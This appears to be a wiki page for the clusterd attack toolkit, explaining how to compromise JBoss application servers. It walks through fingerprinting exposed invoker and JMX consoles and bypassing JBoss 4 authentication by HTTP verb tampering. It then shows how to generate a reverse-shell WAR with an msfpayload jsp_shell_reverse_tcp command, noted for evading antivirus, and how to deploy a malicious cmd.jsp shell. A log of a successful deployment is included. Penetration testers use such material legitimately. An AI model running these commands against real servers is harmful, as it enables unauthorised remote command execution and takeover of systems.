-
Notifications
You must be signed in to change notification settings - Fork 198
JBoss
The JBoss application server has been riddled with security related issues since its earliest days, mostly related to insecure defaults.
The clusterd framework has extensive support for JBoss. To fingerprint which interfaces (or URL's) may be available and exploitable simply use:
./clusterd.py -i localhost -p 8080
The above will output something like the following, indicating which JBoss URL's are accessible:
[2014-05-05 12:27PM] JBoss JMX Console (version 5.0)
[2014-05-05 12:27PM] JBoss Web Console (version 5.0)
[2014-05-05 12:27PM] JBoss EJB Invoker Servlet (version Any)
[2014-05-05 12:27PM] JBoss HTTP Headers (Unreliable) (version 5.0)
[2014-05-05 12:27PM] JBoss JMX Invoker Servlet (version Any)
[2014-05-05 12:27PM] JBoss RMI Interface (version Any)
[2014-05-05 12:27PM] JBoss Status Page (version Any)
To verify this manually, attempt to access the following URLs, they should return a binary Java object. ASCII should contain "MarshalledValue" and "org.jboss.invocation.InvocationException". Only one needs to be available to attempt exploitation:
http://<host>:<port>/invoker/JMXInvokerServlet (JBoss 3.x, 4.x, 5.x)
http://<host>:<port>/invoker/EJBInvokerServlet (JBoss 3.x, 4.x, 5.x)
http://<host>:<port>/web-console/Invoker (JBoss 3.x, 4.x and 6.x)
The following URL exposes the jmx-console which provides a lot of useful information on fingerprinting the server and in some cases can be exploited:
http://<host>:<port>/jmx-console/ (JBoss 3.x, 4.x, 5.x, 6.x)
Note that in JBoss v4, the JMX-Console is vulnerable to an authentication bypass (in the case where authentication is actually enabled) via HTTP verb tampering. A "HEAD" request instead of GET or PUT will not require authentication.
The following URL provides a management interface for JBoss versions 7.x and 8.x. For JBoss 7.2+, this interface requires a password which is set at install time.
http://<host>:<port>/management
The goal when attacking a JBoss server is to "deploy" (upload) a malicious WAR or JSP file which will provide us with a commnd shell on the server when "invoked" (accessed or run). Convieniently, the interfaces listed above are enabled by default, do not require authentication, and can be used to deploy applications in a few different ways.
The first step in attacking these exposed interfaces is to pick which one we want to go after. In clusterd, the available "deployer" options can be listed with:
./clusterd.py --deployer-list
Simply match the output of this command with one of the available interfaces discovered in the previous step.
Different interfaces may require different types of payloads. Some require a WAR file (basically a zip file with Java classes inside), while others require a JSP. Attempting to deploy a JSP file on an interface that is expecting a WAR will throw an error. To generate a payload WAR file, the clusterd framework can be used:
./clusterd.py -o windows -a jboss --gen-payload 127.0.0.1:4444
This will simply run:
msfpayload java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 SHELL=cmd.exe W > shell.war &>/dev/null
For custom payloads, simply use a modified version of the above msfpayload command. jsp_shell_reverse_tcp was chosen due to it's excellent A/V evasion, no detections were found on VirusTotal during testing.
To attempt deployment on an interface use a command like the following (be sure to specify the OS or it may fail):
./clusterd.py -i localhost -p 8080 --deploy src/lib/resources/cmd.jsp --deployer jmxinvokerservlet -o linux
This will deploy the file cmd.jsp using the JMXInvokerServlet interface. This basically serializes and sends raw binary Java objects to the /invoker/JMXInvokerServlet interface. Clusterd will report back and tell you the URL path where your malicious command shell can be accessed.
If JBoss v4 is detected and prompting for authentication, be sure to attempt the HTTP verb tampering attack using the switch --verb-tamper in clusterd, or manually replace the HTTP verb with HEAD. An example of this module is as follows:
./clusterd.py -i localhost -a jboss -v4 --verb-tamper ./src/lib/resources/cmd.jsp
clusterd/0.4 - clustered attack toolkit
[Supporting 7 platforms]
[2015-01-25 12:24PM] Started at 2015-01-25 12:24PM
[2015-01-25 12:24PM] Servers' OS hinted at windows
[2015-01-25 12:24PM] Fingerprinting host '192.168.1.138'
[2015-01-25 12:24PM] Server hinted at 'jboss'
[2015-01-25 12:24PM] Checking jboss version 4.0 JBoss JMX Console...
[2015-01-25 12:24PM] Checking jboss version 4.0 JBoss Web Console...
[2015-01-25 12:24PM] Checking jboss version Any JBoss EJB Invoker Servlet...
[2015-01-25 12:24PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
[2015-01-25 12:24PM] Checking jboss version Any JBoss JMX Invoker Servlet...
[2015-01-25 12:24PM] Checking jboss version Any JBoss RMI Interface...
[2015-01-25 12:24PM] Checking jboss version Any JBoss Status Page...
[2015-01-25 12:24PM] Matched 7 fingerprints for service jboss
[2015-01-25 12:24PM] JBoss JMX Console (version 4.0)
[2015-01-25 12:24PM] JBoss Web Console (version 4.0)
[2015-01-25 12:24PM] JBoss EJB Invoker Servlet (version Any)
[2015-01-25 12:24PM] JBoss HTTP Headers (Unreliable) (version 4.0)
[2015-01-25 12:24PM] JBoss JMX Invoker Servlet (version Any)
[2015-01-25 12:24PM] JBoss RMI Interface (version Any)
[2015-01-25 12:24PM] JBoss Status Page (version Any)
[2015-01-25 12:24PM] Fingerprinting completed.
[2015-01-25 12:24PM] Vulnerable to verb tampering, attempting to deploy...
[2015-01-25 12:24PM] Successfully deployed /home/bryan/tools/clusterd/src/lib/resources/cmd.jsp
[2015-01-25 12:24PM] Finished at 2015-01-25 12:24PM
In the event of failure, it is best to run clusterd through a proxy like BURP suite and observe the raw error data coming back from the server.
If authentication errors are received and you are up against JBoss 4.x - try the HTTP Verb tampering vulnerability mentioned above.
In tricky cases, it may be worthwhile to setup the same JBoss version locally and attempt to reproduce the same errors. As a last resort for the JMXInvokerServlet and EJBInvokerServlet, one can reference the following and attempt to exploit manually http://breenmachine.blogspot.com/2014/02/jboss-jbxinvoker-servlet-update.html.